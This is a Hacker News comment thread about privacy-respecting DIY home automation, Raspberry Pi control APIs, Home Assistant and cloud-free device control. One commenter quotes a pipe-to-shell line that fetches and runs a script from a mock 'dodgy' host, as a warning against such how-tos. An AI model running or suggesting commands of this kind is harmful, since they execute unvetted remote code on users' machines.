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Comment by atum47 | Hacker News Reader

I was working on a "solution" to automate stuff without relying on big players like Amazon or Google. A more DIY approach. I end up creating two projects (that really needs refactoring):

https://github.com/victorqribeiro/rpiapi

https://github.com/victorqribeiro/mychatbot

and I even record some videos of me using this two projects to control a raspberry car with voice controls. None of my friends were interested in it. They all got Alexa or some other assistant. So, eventually I end up putting my projects in the drawer.

But hey, who knows now they would appreciate a custom made solution that doesn't steal your data or infringe your privacy!

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I started doing my home automation 15 years ago. Without much care, because surely, anything I'm able to do will be on mass market in a few years. Long story short even ignoring relying on 3rd party servers and privacy concerns there are still no comparable commercial solutions today I'm aware of. Latency, reliability, being able to create actually "smart" home instead of having 20 gimmicks.

This is not meant as a brag. I think the market is just too small and to truly have anything remotely "intelligent" you basically need to be a coder because there is no better way to tell your system how to behave. Even then it takes few years to iron out special conditions and however small ongoing maintenance.

On the bright side, micro-controllers, sensors and single board computers market blossomed so nicely that it's basically lego blocks if you have basic electronics understanding.

Coders can dive in easily, but I should warn you, an approach of "I like tinkering" will make you much happier than "I want to get this thing done, it will save me time".

> Note that I ALWAYS recommend reading the code of a script before running it as a root user.

THANK YOU! The number of how-tos that start with "curl http://www.dodgy.com/totally_not_evil_I_promise.sh | sh" makes me really uncomfortable.

Edit: The API looks pretty swish too, I might use that in future. Thanks!

hey, glad you liked it. People from hackaday gave me all sorts of sh*t because I used GET to activate and deactivate a PIN.

I'll probably change it to POST thou.

> from hackaday gave me all sorts of sh*t because I used GET to activate and deactivate a PIN.

The biggest issue with this is that some common chat programs and text message providers will request URLs for virus checking or getting image previews.

Using a GET isn't a bad idea but if a random service using your GET url can cause trouble, it is a bad idea. You'd be surprised how often you need to move a URL from a device to another and end up emailing it / texing it / slacking it to myself :D

Home Assistant is such a solution. It's quite decently polished and supports a ton of devices. Where devices have local APIs, it uses those, so it doesn't rely on vendor cloud services unless there is no choice.

I use it with TP-Link Kasa smart plugs and Broadlink IR blasters, both of which have usable locale APIs, on an isolated WiFi network with no Internet access (it's harder to turn off the cloud stuff for these kinds of things, but as long as I can block it myself I don't care if they try and fail to connect to the cloud).

DIY is usually quite hacky and not polished. Most people want shiny first.

Offer people something that works reliable ... and they go for it.

That’s why I prefer MacOS to Linux. I like the polished UI and kick butt trackpad.

I like that too, but I prefer Linux because once I have something the way I want it, it doesn't change unless I tell it to.

This was a big driver for me moving from Windows to Linux last month. Some stupid automatic update and the next thing you know my computer's hard disk gets corrupted, resulting in a disk cleanup that deleted all of my important stuff. Thankfully I had everything stored separately (cloud+hardware). Not to mention the new Windows update slowed down my other PC severely.

It's not even about wanting "shiny", it's just not wanting to spend time on it. Life is short, and there's lots of things to do, see, and experience.

Check out Valetudo, it’s actively maintained and lets you control Xiaomi smart vacuums without the cloud.

https://github.com/Hypfer/Valetudo

This is friggin awesome! Wish I’d known about it sooner.

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